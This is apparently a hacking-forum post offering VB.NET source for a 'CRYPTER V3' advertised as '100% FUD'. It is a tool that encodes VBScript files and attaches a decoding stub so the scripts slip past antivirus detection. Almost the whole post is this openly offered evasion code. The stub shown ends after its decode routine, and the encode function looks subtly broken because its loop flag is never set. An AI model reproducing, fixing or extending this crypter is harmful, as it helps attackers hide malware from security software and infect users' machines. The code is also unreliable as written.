[NEW] [VBS][SOURCE] [ CRYPTER V3] 100% FUD
![[Image: TevCyn9.png]](https://i.imgur.com/TevCyn9.png)
Code
Private Sub ClearListviewItemToolStripMenuItem_Click(ByVal sender As Object, ByVal e As System.EventArgs)
ToolStripStatusLabel2.Text = "0"
ListView1.Items.Clear()
End Sub
Private Sub CryptFileToolStripMenuItem_Click(ByVal sender As Object, ByVal e As System.EventArgs)
Dim color1 As System.Drawing.Color
Dim s1 As String = System.IO.File.ReadAllText(ListView1.Items(ListView1.FocusedItem.Index).SubItems(2).Text)
s1 = "'" + Microsoft.VisualBasic.Strings.StrReverse(Stockholm.Form1.encode(System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(s1)))) + ""
s1 = s1 + Stockholm.My.Resources.Resources.String1
Dim saveFileDialog1 As System.Windows.Forms.SaveFileDialog = New System.Windows.Forms.SaveFileDialog
saveFileDialog1.Filter = "vbscript *.vbs|*.vbs"
saveFileDialog1.ShowDialog()
Dim flag1 As Boolean = Microsoft.VisualBasic.CompilerServices.Operators.CompareString(saveFileDialog1.FileName, Nothing, False) = 0
If flag1 Then
Else
System.IO.File.WriteAllText(saveFileDialog1.FileName, s1)
Microsoft.VisualBasic.Interaction.MsgBox("Done Crypt in : " + saveFileDialog1.FileName, Microsoft.VisualBasic.MsgBoxStyle.Information, "Informations")
ListView1.Items(ListView1.FocusedItem.Index).ForeColor = System.Drawing.Color.Green
ListView1.Items(ListView1.FocusedItem.Index).SubItems(3).Text = "Done Crypt"
End If
End Sub
Private Sub DeleteItemToolStripMenuItem_Click(ByVal sender As Object, ByVal e As System.EventArgs)
Dim color1 As System.Drawing.Color
Dim openFileDialog1 As System.Windows.Forms.OpenFileDialog = New System.Windows.Forms.OpenFileDialog
openFileDialog1.Filter = "vbScript *.vbs|*.vbs"
openFileDialog1.Title = "Select vbscript File.."
openFileDialog1.ShowDialog()
Dim flag1 As Boolean = Microsoft.VisualBasic.CompilerServices.Operators.CompareString(openFileDialog1.FileName, Nothing, False) = 0
If flag1 Then
Else
Dim s1 As String = Microsoft.VisualBasic.CompilerServices.Conversions.ToString(ListView1.Items.Count + 1)
Dim listViewItem1 As System.Windows.Forms.ListViewItem = ListView1.Items.Add(s1, 0)
listViewItem1.SubItems.Add(System.IO.Path.GetFileName(openFileDialog1.FileName))
listViewItem1.SubItems.Add(openFileDialog1.FileName)
listViewItem1.SubItems.Add("NULL")
listViewItem1.ForeColor = System.Drawing.Color.Blue
ToolStripStatusLabel2.Text = Microsoft.VisualBasic.CompilerServices.Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Conversions.ToDouble(ToolStripStatusLabel2.Text) + 1.0R)
End If
End Sub
Private Sub DeleteItemToolStripMenuItem1_Click(ByVal sender As Object, ByVal e As System.EventArgs)
Dim flag1 As Boolean = ListView1.Items.Count = 0
If flag1 Then
Else
ListView1.Items(ListView1.FocusedItem.Index).Remove()
ToolStripStatusLabel2.Text = Microsoft.VisualBasic.CompilerServices.Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Conversions.ToDouble(ToolStripStatusLabel2.Text) - 1.0R)
End If
End Sub
Private Sub ToolStripStatusLabel4_Click(ByVal sender As Object, ByVal e As System.EventArgs)
Dim s1 As String = Text + "Coder: SwedHack.Skype : xxxxxx()to Site : https://hackforums.net/"
Microsoft.VisualBasic.Interaction.MsgBox(s1, Microsoft.VisualBasic.MsgBoxStyle.ApplicationModal, Nothing)
End Sub
Public Shared Function encode(ByVal strings As String) As String
Dim flag1 As Boolean
Dim bArr1 As Byte() = System.Convert.FromBase64String(strings)
Dim stringBuilder1 As System.Text.StringBuilder = New System.Text.StringBuilder
Dim bArr2 As Byte() = bArr1
Dim i1 As Integer = 0
While flag1
Dim b1 As Byte = bArr2(i1)
stringBuilder1.Append(b1.ToString("X2"))
i1 = i1 + 1
flag1 = i1 < CInt(bArr2.Length)
End While
Return stringBuilder1.ToString()
End Function
End Class
String1
function ss(a)
ss = replace(Split(CreateObject("Scripting.FileSystemObject").OpenTextFile(wscript.scriptfullname).ReadAll, vbCrLf)(a),"'","")
end function
Function decode(str)
For i = 1 To Len(str) Step 2
ub = ub & Chr(Clng("&H" & Mid(str, i, 2)))
Next
decode = ub
End Function
